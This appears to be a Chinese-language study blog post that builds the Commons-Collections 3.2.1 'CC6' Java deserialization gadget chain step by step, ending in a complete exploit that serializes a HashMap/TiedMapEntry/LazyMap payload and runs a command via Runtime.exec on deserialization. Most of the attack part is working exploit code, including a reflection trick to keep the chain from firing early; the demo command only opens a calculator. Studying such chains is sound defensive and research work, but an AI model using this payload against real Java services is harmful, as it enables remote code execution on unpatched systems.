环境准备

基本上和CC1差不多

jdk8u71
Comoons-Collections 3.2.1

开始分析

前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,所以直接到 LazyMap 下,这里先重新一边LazyMap 类调用计算器的 EXP,看参考博客说多写有利于比那些EXP确实是这样,能加深理解,反正没坏处,并且我发现自己又有点忘记了。。。

1
2
3
4
5
6
7
8
9
10
11
12
public class Dome {  
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> mapClass = LazyMap.class;
Method classDeclaredMethod = mapClass.getDeclaredMethod("get", Object.class);
classDeclaredMethod.setAccessible(true);
classDeclaredMethod.invoke(map,r);
}
}

这里下一步就是继续找哪里调用了get方法,看了利用链,下一个类和方法是TiedMapEntry 类中的 getValue()方法,这个里面调用了 LazyMapget() 方法,然后继续编写EXP确保目前链子可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Dome {  
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//传入LazyMap就和后面连起来了,即调用的是LazyMap的get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}

弹出成功
image-20230507143003991
然后就是继续往上找,看谁调用了 TiedMapEntry 中的 getValue() 方法,这个方法比较常见,所以就是先看同类下有没有调用,最后发现同类下的hashCode方法调用了getValue() 方法
image-20230507143025027
而找到hashCode方法后就是找谁调用了hashCode方法,但是这里我们不用继续找了,因为在Java反序列化中hashCode方法后面的利用链基本都是下面这条

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

image-20230507143036238
然后利用hash方法写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Dome {  
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//传入LazyMap就和后面连起来了,即调用的是LazyMap的get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
//put方法里面会调用hash方法
expMap.put(tiedMapEntry,"value");
}
}

然后看一下现在的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Dome {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
//传入LazyMap就和后面连起来了,即调用的是LazyMap的get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> expMap = new HashMap<>();
//put方法里面会调用hash方法
expMap.put(tiedMapEntry,"bbb");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

在注释掉反序列化后还是能弹出计算器,这肯定是有问题的,这里和URLDNS的思想其实差不多,在执行 put() 方法的时候,里面也会执行hash方法但是要的是readObject里面的putVal中调用的hash方法,所以我们只需要修改下面这条语句的参数即

1
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

我们先在序列化的时候传进去一个没用的参数,然后反序列化的时候再重新赋值就行,改为下面这样

1
Map lazyMap = LazyMap.decorate(hashMap,new  ConstantTransformer(1));

put完之后通过反射再改回来

1
2
3
4
Class c = LazyMap.class;  
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

但是改完之后反序列化也不弹计算器了,下个断点调试一下
image-20230507143052175
最终问题出在LazyMap下的get方法
image-20230507143107809
put的时候会传入一个key反序列化无法进入if执行transform方法,所以需要删掉这个key

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Dome {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
//传入LazyMap就和后面连起来了,即调用的是LazyMap的get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap expMap = new HashMap<>();
//put方法里面会调用hash方法,但是我们要的是putVal里面的hash方法对key进行计算
//所以就需要通过反射对put改值,让他不触发这条链
expMap.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20230507143122325
这里还有一个点就是idea的设置问题,在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器,所以需要进行如下修改
image-20230507143138470
设置成这样就行

利用链

1
2
3
4
5
6
7
8
9
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

流程图

image-20230507143149592

总结

这条链子参考博客跟到一半搞不懂了然后去看白日梦组长的视频又理了一下才完成这条链子,不得不说白日梦组长讲的确实细